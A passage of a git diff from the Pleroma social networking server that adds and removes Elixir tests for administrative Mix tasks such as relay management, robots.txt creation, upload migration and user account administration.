invisible_actors: true + } + ) + end + + test "force unfollow when relay is dead" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + + assert "#{target_instance}/followers" in User.following(local_user) + + Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> + %Tesla.Env{status: 404} + end) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance, "--force"]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "cancelled" + + [undo_activity] = + ActivityPub.fetch_activities( + [], + %{type: "Undo", actor_id: follower_id, skip_preload: true, invisible_actors: true} + ) + + assert undo_activity.data["type"] == "Undo" + assert undo_activity.data["actor"] == local_user.ap_id + assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] + refute "#{target_instance}/followers" in User.following(local_user) + end + end + + describe "mix pleroma.relay list" do + test "Prints relay subscription list" do + :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) + + refute_receive {:mix_shell, :info, _} + + relay_user = Relay.get_actor() + + ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"] + |> Enum.each(fn ap_id -> + {:ok, user} = User.get_or_fetch_by_ap_id(ap_id) + User.follow(relay_user, user) + end) + + :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) + + assert_receive {:mix_shell, :info, ["https://mstdn.io/users/mayuutann"]} + assert_receive {:mix_shell, :info, ["http://mastodon.example.org/users/admin"]} + end + end +end diff --git a/test/mix/tasks/pleroma/robots_txt_test.exs b/test/mix/tasks/pleroma/robots_txt_test.exs new file mode 100644 index 000000000..7040a0e4e --- /dev/null +++ b/test/mix/tasks/pleroma/robots_txt_test.exs @@ -0,0 +1,45 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.RobotsTxtTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + alias Mix.Tasks.Pleroma.RobotsTxt + + setup do: clear_config([:instance, :static_dir]) + + test "creates new dir" do + path = "test/fixtures/new_dir/" + file_path = path <> "robots.txt" + Pleroma.Config.put([:instance, :static_dir], path) + + on_exit(fn -> + {:ok, ["test/fixtures/new_dir/", "test/fixtures/new_dir/robots.txt"]} = File.rm_rf(path) + end) + + RobotsTxt.run(["disallow_all"]) + + assert File.exists?(file_path) + {:ok, file} = File.read(file_path) + + assert file == "User-Agent: *\nDisallow: /\n" + end + + test "to existance folder" do + path = "test/fixtures/" + file_path = path <> "robots.txt" + Pleroma.Config.put([:instance, :static_dir], path) + + on_exit(fn -> + :ok = File.rm(file_path) + end) + + RobotsTxt.run(["disallow_all"]) + + assert File.exists?(file_path) + {:ok, file} = File.read(file_path) + + assert file == "User-Agent: *\nDisallow: /\n" + end +end diff --git a/test/mix/tasks/pleroma/uploads_test.exs b/test/mix/tasks/pleroma/uploads_test.exs new file mode 100644 index 000000000..d69e149a8 --- /dev/null +++ b/test/mix/tasks/pleroma/uploads_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.UploadsTest do + alias Pleroma.Upload + use Pleroma.DataCase + + import Mock + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "running migrate_local" do + test "uploads migrated" do + with_mock Upload, + store: fn %Upload{name: _file, path: _path}, _opts -> {:ok, %{}} end do + Mix.Tasks.Pleroma.Uploads.run(["migrate_local", "S3"]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Migrating files from local" + + assert_received {:mix_shell, :info, [message]} + + assert %{"total_count" => total_count} = + Regex.named_captures(~r"^Found (?\d+) uploads$", message) + + assert_received {:mix_shell, :info, [message]} + + # @logevery in Mix.Tasks.Pleroma.Uploads + count = + min(50, String.to_integer(total_count)) + |> to_string() + + assert %{"count" => ^count, "total_count" => ^total_count} = + Regex.named_captures( + ~r"^Uploaded (?\d+)/(?\d+) files$", + message + ) + end + end + + test "nonexistent uploader" do + assert_raise RuntimeError, ~r/The uploader .* is not an existing/, fn -> + Mix.Tasks.Pleroma.Uploads.run(["migrate_local", "nonexistent"]) + end + end + end +end diff --git a/test/mix/tasks/pleroma/user_test.exs b/test/mix/tasks/pleroma/user_test.exs new file mode 100644 index 000000000..b8c423c48 --- /dev/null +++ b/test/mix/tasks/pleroma/user_test.exs @@ -0,0 +1,614 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.UserTest do + alias Pleroma.Activity + alias Pleroma.MFA + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.Token + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import ExUnit.CaptureIO + import Mock + import Pleroma.Factory + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "running new" do + test "user is created" do + # just get random data + unsaved = build(:user) + + # prepare to answer yes + send(self(), {:mix_shell_input, :yes?, true}) + + Mix.Tasks.Pleroma.User.run([ + "new", + unsaved.nickname, + unsaved.email, + "--name", + unsaved.name, + "--bio", + unsaved.bio, + "--password", + "test", + "--moderator", + "--admin" + ]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "user will be created" + + assert_received {:mix_shell, :yes?, [message]} + assert message =~ "Continue" + + assert_received {:mix_shell, :info, [message]} + assert message =~ "created" + + user = User.get_cached_by_nickname(unsaved.nickname) + assert user.name == unsaved.name + assert user.email == unsaved.email + assert user.bio == unsaved.bio + assert user.is_moderator + assert user.is_admin + end + + test "user is not created" do + unsaved = build(:user) + + # prepare to answer no + send(self(), {:mix_shell_input, :yes?, false}) + + Mix.Tasks.Pleroma.User.run(["new", unsaved.nickname, unsaved.email]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "user will be created" + + assert_received {:mix_shell, :yes?, [message]} + assert message =~ "Continue" + + assert_received {:mix_shell, :info, [message]} + assert message =~ "will not be created" + + refute User.get_cached_by_nickname(unsaved.nickname) + end + end + + describe "running rm" do + test "user is deleted" do + clear_config([:instance, :federating], true) + user = insert(:user) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + Mix.Tasks.Pleroma.User.run(["rm", user.nickname]) + ObanHelpers.perform_all() + + assert_received {:mix_shell, :info, [message]} + assert message =~ " deleted" + assert %{deactivated: true} = User.get_by_nickname(user.nickname) + + assert called(Pleroma.Web.Federator.publish(:_)) + end + end + + test "a remote user's create activity is deleted when the object has been pruned" do + user = insert(:user) + user2 = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "uguu"}) + {:ok, post2} = CommonAPI.post(user2, %{status: "test"}) + obj = Object.normalize(post2) + + {:ok, like_object, meta} = Pleroma.Web.ActivityPub.Builder.like(user, obj) + + {:ok, like_activity, _meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline( + like_object, + Keyword.put(meta, :local, true) + ) + + like_activity.data["object"] + |> Pleroma.Object.get_by_ap_id() + |> Repo.delete() + + clear_config([:instance, :federating], true) + + object = Object.normalize(post) + Object.prune(object) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + Mix.Tasks.Pleroma.User.run(["rm", user.nickname]) + ObanHelpers.perform_all() + + assert_received {:mix_shell, :info, [message]} + assert message =~ " deleted" + assert %{deactivated: true} = User.get_by_nickname(user.nickname) + + assert called(Pleroma.Web.Federator.publish(:_)) + refute Pleroma.Repo.get(Pleroma.Activity, like_activity.id) + end + + refute Activity.get_by_id(post.id) + end + + test "no user to delete" do + Mix.Tasks.Pleroma.User.run(["rm", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running toggle_activated" do + test "user is deactivated" do + user = insert(:user) + + Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ " deactivated" + + user = User.get_cached_by_nickname(user.nickname) + assert user.deactivated + end + + test "user is activated" do + user = insert(:user, deactivated: true) + + Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ " activated" + + user = User.get_cached_by_nickname(user.nickname) + refute user.deactivated + end + + test "no user to toggle" do + Mix.Tasks.Pleroma.User.run(["toggle_activated", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No user" + end + end + + describe "running deactivate" do + test "user is unsubscribed" do + followed = insert(:user) + remote_followed = insert(:user, local: false) + user = insert(:user) + + User.follow(user, followed, :follow_accept) + User.follow(user, remote_followed, :follow_accept) + + Mix.Tasks.Pleroma.User.run(["deactivate", user.nickname]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Deactivating" + + # Note that the task has delay :timer.sleep(500) + assert_received {:mix_shell, :info, [message]} + assert message =~ "Successfully unsubscribed" + + user = User.get_cached_by_nickname(user.nickname) + assert Enum.empty?(Enum.filter(User.get_friends(user), & &1.local)) + assert user.deactivated + end + + test "no user to deactivate" do + Mix.Tasks.Pleroma.User.run(["deactivate", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No user" + end + end + + describe "running set" do + test "All statuses set" do + user = insert(:user) + + Mix.Tasks.Pleroma.User.run([ + "set", + user.nickname, + "--admin", + "--confirmed", + "--locked", + "--moderator" + ]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Admin status .* true/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Confirmation pending .* false/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Locked status .* true/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Moderator status .* true/ + + user = User.get_cached_by_nickname(user.nickname) + assert user.is_moderator + assert user.locked + assert user.is_admin + refute user.confirmation_pending + end + + test "All statuses unset" do + user = + insert(:user, locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) + + Mix.Tasks.Pleroma.User.run([ + "set", + user.nickname, + "--no-admin", + "--no-confirmed", + "--no-locked", + "--no-moderator" + ]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Admin status .* false/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Confirmation pending .* true/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Locked status .* false/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Moderator status .* false/ + + user = User.get_cached_by_nickname(user.nickname) + refute user.is_moderator + refute user.locked + refute user.is_admin + assert user.confirmation_pending + end + + test "no user to set status" do + Mix.Tasks.Pleroma.User.run(["set", "nonexistent", "--moderator"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running reset_password" do + test "password reset token is generated" do + user = insert(:user) + + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run(["reset_password", user.nickname]) + end) =~ "URL:" + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated" + end + + test "no user to reset password" do + Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running reset_mfa" do + test "disables MFA" do + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true} + } + ) + + Mix.Tasks.Pleroma.User.run(["reset_mfa", user.nickname]) + + assert_received {:mix_shell, :info, [message]} + assert message == "Multi-Factor Authentication disabled for #{user.nickname}" + + assert %{enabled: false, totp: false} == + user.nickname + |> User.get_cached_by_nickname() + |> MFA.mfa_settings() + end + + test "no user to reset MFA" do + Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running invite" do + test "invite token is generated" do + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run(["invite"]) + end) =~ "http" + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated user invite token one time" + end + + test "token is generated with expires_at" do + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "invite", + "--expires-at", + Date.to_string(Date.utc_today()) + ]) + end) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated user invite token date limited" + end + + test "token is generated with max use" do + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "invite", + "--max-use", + "5" + ]) + end) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated user invite token reusable" + end + + test "token is generated with max use and expires date" do + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "invite", + "--max-use", + "5", + "--expires-at", + Date.to_string(Date.utc_today()) + ]) + end) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated user invite token reusable date limited" + end + end + + describe "running invites" do + test "invites are listed" do + {:ok, invite} = Pleroma.UserInviteToken.create_invite() + + {:ok, invite2} = + Pleroma.UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 15}) + + # assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "invites" + ]) + + # end) + + assert_received {:mix_shell, :info, [message]} + assert_received {:mix_shell, :info, [message2]} + assert_received {:mix_shell, :info, [message3]} + assert message =~ "Invites list:" + assert message2 =~ invite.invite_type + assert message3 =~ invite2.invite_type + end + end + + describe "running revoke_invite" do + test "invite is revoked" do + {:ok, invite} = Pleroma.UserInviteToken.create_invite(%{expires_at: Date.utc_today()}) + + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "revoke_invite", + invite.token + ]) + end) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Invite for token #{invite.token} was revoked." + end + + test "it prints an error message when invite is not exist" do + Mix.Tasks.Pleroma.User.run(["revoke_invite", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No invite found" + end + end + + describe "running delete_activities" do + test "activities are deleted" do + %{nickname: nickname} = insert(:user) + + assert :ok == Mix.Tasks.Pleroma.User.run(["delete_activities", nickname]) + assert_received {:mix_shell, :info, [message]} + assert message == "User #{nickname} statuses deleted." + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["delete_activities", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running toggle_confirmed" do + test "user is confirmed" do + %{id: id, nickname: nickname} = insert(:user, confirmation_pending: false) + + assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname]) + assert_received {:mix_shell, :info, [message]} + assert message == "#{nickname} needs confirmation." + + user = Repo.get(User, id) + assert user.confirmation_pending + assert user.confirmation_token + end + + test "user is not confirmed" do + %{id: id, nickname: nickname} = + insert(:user, confirmation_pending: true, confirmation_token: "some token") + + assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname]) + assert_received {:mix_shell, :info, [message]} + assert message == "#{nickname} doesn't need confirmation." + + user = Repo.get(User, id) + refute user.confirmation_pending + refute user.confirmation_token + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["toggle_confirmed", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "search" do + test "it returns users matching" do + user = insert(:user) + moon = insert(:user, nickname: "moon", name: "fediverse expert moon") + moot = insert(:user, nickname: "moot") + kawen = insert(:user, nickname: "kawen", name: "fediverse expert moon") + + {:ok, user} = User.follow(user, moon) + + assert [moon.id, kawen.id] == User.Search.search("moon") |> Enum.map(& &1.id) + + res = User.search("moo") |> Enum.map(& &1.id) + assert Enum.sort([moon.id, moot.id, kawen.id]) == Enum.sort(res) + + assert [kawen.id, moon.id] == User.Search.search("expert fediverse") |> Enum.map(& &1.id) + + assert [moon.id, kawen.id] == + User.Search.search("expert fediverse", for_user: user) |> Enum.map(& &1.id) + end + end + + describe "signing out" do + test "it deletes all user's tokens and authorizations" do + user = insert(:user) + insert(:oauth_token, user: user) + insert(:oauth_authorization, user: user) + + assert Repo.get_by(Token, user_id: user.id) + assert Repo.get_by(Authorization, user_id: user.id) + + :ok = Mix.Tasks.Pleroma.User.run(["sign_out", user.nickname]) + + refute Repo.get_by(Token, user_id: user.id) + refute Repo.get_by(Authorization, user_id: user.id) + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["sign_out", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "tagging" do + test "it add tags to a user" do + user = insert(:user) + + :ok = Mix.Tasks.Pleroma.User.run(["tag", user.nickname, "pleroma"]) + + user = User.get_cached_by_nickname(user.nickname) + assert "pleroma" in user.tags + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["tag", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "Could not change user tags" + end + end + + describe "untagging" do + test "it deletes tags from a user" do + user = insert(:user, tags: ["pleroma"]) + assert "pleroma" in user.tags + + :ok = Mix.Tasks.Pleroma.User.run(["untag", user.nickname, "pleroma"]) + + user = User.get_cached_by_nickname(user.nickname) + assert Enum.empty?(user.tags) + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["untag", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "Could not change user tags" + end + end + + describe "bulk confirm and unconfirm" do + test "confirm all" do + user1 = insert(:user, confirmation_pending: true) + user2 = insert(:user, confirmation_pending: true) + + assert user1.confirmation_pending + assert user2.confirmation_pending + + Mix.Tasks.Pleroma.User.run(["confirm_all"]) + + user1 = User.get_cached_by_nickname(user1.nickname) + user2 = User.get_cached_by_nickname(user2.nickname) + + refute user1.confirmation_pending + refute user2.confirmation_pending + end + + test "unconfirm all" do + user1 = insert(:user, confirmation_pending: false) + user2 = insert(:user, confirmation_pending: false) + admin = insert(:user, is_admin: true, confirmation_pending: false) + mod = insert(:user, is_moderator: true, confirmation_pending: false) + + refute user1.confirmation_pending + refute user2.confirmation_pending + + Mix.Tasks.Pleroma.User.run(["unconfirm_all"]) + + user1 = User.get_cached_by_nickname(user1.nickname) + user2 = User.get_cached_by_nickname(user2.nickname) + admin = User.get_cached_by_nickname(admin.nickname) + mod = User.get_cached_by_nickname(mod.nickname) + + assert user1.confirmation_pending + assert user2.confirmation_pending + refute admin.confirmation_pending + refute mod.confirmation_pending + end + end +end diff --git a/test/tasks/app_test.exs b/test/tasks/app_test.exs deleted file mode 100644 index 71a84ac8e..000000000 --- a/test/tasks/app_test.exs +++ /dev/null @@ -1,65 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.AppTest do - use Pleroma.DataCase, async: true - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - end - - describe "creates new app" do - test "with default scopes" do - name = "Some name" - redirect = "https://example.com" - Mix.Tasks.Pleroma.App.run(["create", "-n", name, "-r", redirect]) - - assert_app(name, redirect, ["read", "write", "follow", "push"]) - end - - test "with custom scopes" do - name = "Another name" - redirect = "https://example.com" - - Mix.Tasks.Pleroma.App.run([ - "create", - "-n", - name, - "-r", - redirect, - "-s", - "read,write,follow,push,admin" - ]) - - assert_app(name, redirect, ["read", "write", "follow", "push", "admin"]) - end - end - - test "with errors" do - Mix.Tasks.Pleroma.App.run(["create"]) - {:mix_shell, :error, ["Creating failed:"]} - {:mix_shell, :error, ["name: can't be blank"]} - {:mix_shell, :error, ["redirect_uris: can't be blank"]} - end - - defp assert_app(name, redirect, scopes) do - app = Repo.get_by(Pleroma.Web.OAuth.App, client_name: name) - - assert_receive {:mix_shell, :info, [message]} - assert message == "#{name} successfully created:" - - assert_receive {:mix_shell, :info, [message]} - assert message == "App client_id: #{app.client_id}" - - assert_receive {:mix_shell, :info, [message]} - assert message == "App client_secret: #{app.client_secret}" - - assert app.scopes == scopes - assert app.redirect_uris == redirect - end -end diff --git a/test/tasks/config_test.exs b/test/tasks/config_test.exs deleted file mode 100644 index f36648829..000000000 --- a/test/tasks/config_test.exs +++ /dev/null @@ -1,189 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.ConfigTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.ConfigDB - alias Pleroma.Repo - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - Application.delete_env(:pleroma, :first_setting) - Application.delete_env(:pleroma, :second_setting) - end) - - :ok - end - - setup_all do: clear_config(:configurable_from_database, true) - - test "error if file with custom settings doesn't exist" do - Mix.Tasks.Pleroma.Config.migrate_to_db("config/not_existance_config_file.exs") - - assert_receive {:mix_shell, :info, - [ - "To migrate settings, you must define custom settings in config/not_existance_config_file.exs." - ]}, - 15 - end - - describe "migrate_to_db/1" do - setup do - initial = Application.get_env(:quack, :level) - on_exit(fn -> Application.put_env(:quack, :level, initial) end) - end - - @tag capture_log: true - test "config migration refused when deprecated settings are found" do - clear_config([:media_proxy, :whitelist], ["domain_without_scheme.com"]) - assert Repo.all(ConfigDB) == [] - - Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") - - assert_received {:mix_shell, :error, [message]} - - assert message =~ - "Migration is not allowed until all deprecation warnings have been resolved." - end - - test "filtered settings are migrated to db" do - assert Repo.all(ConfigDB) == [] - - Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") - - config1 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"}) - config2 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":second_setting"}) - config3 = ConfigDB.get_by_params(%{group: ":quack", key: ":level"}) - refute ConfigDB.get_by_params(%{group: ":pleroma", key: "Pleroma.Repo"}) - refute ConfigDB.get_by_params(%{group: ":postgrex", key: ":json_library"}) - refute ConfigDB.get_by_params(%{group: ":pleroma", key: ":database"}) - - assert config1.value == [key: "value", key2: [Repo]] - assert config2.value == [key: "value2", key2: ["Activity"]] - assert config3.value == :info - end - - test "config table is truncated before migration" do - insert(:config, key: :first_setting, value: [key: "value", key2: ["Activity"]]) - assert Repo.aggregate(ConfigDB, :count, :id) == 1 - - Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") - - config = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"}) - assert config.value == [key: "value", key2: [Repo]] - end - end - - describe "with deletion temp file" do - setup do - temp_file = "config/temp.exported_from_db.secret.exs" - - on_exit(fn -> - :ok = File.rm(temp_file) - end) - - {:ok, temp_file: temp_file} - end - - test "settings are migrated to file and deleted from db", %{temp_file: temp_file} do - insert(:config, key: :setting_first, value: [key: "value", key2: ["Activity"]]) - insert(:config, key: :setting_second, value: [key: "value2", key2: [Repo]]) - insert(:config, group: :quack, key: :level, value: :info) - - Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"]) - - assert Repo.all(ConfigDB) == [] - - file = File.read!(temp_file) - assert file =~ "config :pleroma, :setting_first," - assert file =~ "config :pleroma, :setting_second," - assert file =~ "config :quack, :level, :info" - end - - test "load a settings with large values and pass to file", %{temp_file: temp_file} do - insert(:config, - key: :instance, - value: [ - name: "Pleroma", - email: "example@example.com", - notify_email: "noreply@example.com", - description: "A Pleroma instance, an alternative fediverse server", - limit: 5_000, - chat_limit: 5_000, - remote_limit: 100_000, - upload_limit: 16_000_000, - avatar_upload_limit: 2_000_000, - background_upload_limit: 4_000_000, - banner_upload_limit: 4_000_000, - poll_limits: %{ - max_options: 20, - max_option_chars: 200, - min_expiration: 0, - max_expiration: 365 * 24 * 60 * 60 - }, - registrations_open: true, - federating: true, - federation_incoming_replies_max_depth: 100, - federation_reachability_timeout_days: 7, - federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher], - allow_relay: true, - public: true, - quarantined_instances: [], - managed_config: true, - static_dir: "instance/static/", - allowed_post_formats: ["text/plain", "text/html", "text/markdown", "text/bbcode"], - autofollowed_nicknames: [], - max_pinned_statuses: 1, - attachment_links: false, - max_report_comment_size: 1000, - safe_dm_mentions: false, - healthcheck: false, - remote_post_retention_days: 90, - skip_thread_containment: true, - limit_to_local_content: :unauthenticated, - user_bio_length: 5000, - user_name_length: 100, - max_account_fields: 10, - max_remote_account_fields: 20, - account_field_name_length: 512, - account_field_value_length: 2048, - external_user_synchronization: true, - extended_nickname_format: true, - multi_factor_authentication: [ - totp: [ - digits: 6, - period: 30 - ], - backup_codes: [ - number: 2, - length: 6 - ] - ] - ] - ) - - Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"]) - - assert Repo.all(ConfigDB) == [] - assert File.exists?(temp_file) - {:ok, file} = File.read(temp_file) - - header = - if Code.ensure_loaded?(Config.Reader) do - "import Config" - else - "use Mix.Config" - end - - assert file == - "#{header}\n\nconfig :pleroma, :instance,\n name: \"Pleroma\",\n email: \"example@example.com\",\n notify_email: \"noreply@example.com\",\n description: \"A Pleroma instance, an alternative fediverse server\",\n limit: 5000,\n chat_limit: 5000,\n remote_limit: 100_000,\n upload_limit: 16_000_000,\n avatar_upload_limit: 2_000_000,\n background_upload_limit: 4_000_000,\n banner_upload_limit: 4_000_000,\n poll_limits: %{\n max_expiration: 31_536_000,\n max_option_chars: 200,\n max_options: 20,\n min_expiration: 0\n },\n registrations_open: true,\n federating: true,\n federation_incoming_replies_max_depth: 100,\n federation_reachability_timeout_days: 7,\n federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher],\n allow_relay: true,\n public: true,\n quarantined_instances: [],\n managed_config: true,\n static_dir: \"instance/static/\",\n allowed_post_formats: [\"text/plain\", \"text/html\", \"text/markdown\", \"text/bbcode\"],\n autofollowed_nicknames: [],\n max_pinned_statuses: 1,\n attachment_links: false,\n max_report_comment_size: 1000,\n safe_dm_mentions: false,\n healthcheck: false,\n remote_post_retention_days: 90,\n skip_thread_containment: true,\n limit_to_local_content: :unauthenticated,\n user_bio_length: 5000,\n user_name_length: 100,\n max_account_fields: 10,\n max_remote_account_fields: 20,\n account_field_name_length: 512,\n account_field_value_length: 2048,\n external_user_synchronization: true,\n extended_nickname_format: true,\n multi_factor_authentication: [\n totp: [digits: 6, period: 30],\n backup_codes: [number: 2, length: 6]\n ]\n" - end - end -end diff --git a/test/tasks/count_statuses_test.exs b/test/tasks/count_statuses_test.exs deleted file mode 100644 index c5cd16960..000000000 --- a/test/tasks/count_statuses_test.exs +++ /dev/null @@ -1,39 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.CountStatusesTest do - use Pleroma.DataCase - - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureIO, only: [capture_io: 1] - import Pleroma.Factory - - test "counts statuses" do - user = insert(:user) - {:ok, _} = CommonAPI.post(user, %{status: "test"}) - {:ok, _} = CommonAPI.post(user, %{status: "test2"}) - - user2 = insert(:user) - {:ok, _} = CommonAPI.post(user2, %{status: "test3"}) - - user = refresh_record(user) - user2 = refresh_record(user2) - - assert %{note_count: 2} = user - assert %{note_count: 1} = user2 - - {:ok, user} = User.update_note_count(user, 0) - {:ok, user2} = User.update_note_count(user2, 0) - - assert %{note_count: 0} = user - assert %{note_count: 0} = user2 - - assert capture_io(fn -> Mix.Tasks.Pleroma.CountStatuses.run([]) end) == "Done\n" - - assert %{note_count: 2} = refresh_record(user) - assert %{note_count: 1} = refresh_record(user2) - end -end diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs deleted file mode 100644 index 292a5ef5f..000000000 --- a/test/tasks/database_test.exs +++ /dev/null @@ -1,175 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.DatabaseTest do - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "running remove_embedded_objects" do - test "it replaces objects with references" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - new_data = Map.put(activity.data, "object", activity.object.data) - - {:ok, activity} = - activity - |> Activity.change(%{data: new_data}) - |> Repo.update() - - assert is_map(activity.data["object"]) - - Mix.Tasks.Pleroma.Database.run(["remove_embedded_objects"]) - - activity = Activity.get_by_id_with_object(activity.id) - assert is_binary(activity.data["object"]) - end - end - - describe "prune_objects" do - test "it prunes old objects from the database" do - insert(:note) - deadline = Pleroma.Config.get([:instance, :remote_post_retention_days]) + 1 - - date = - Timex.now() - |> Timex.shift(days: -deadline) - |> Timex.to_naive_datetime() - |> NaiveDateTime.truncate(:second) - - %{id: id} = - :note - |> 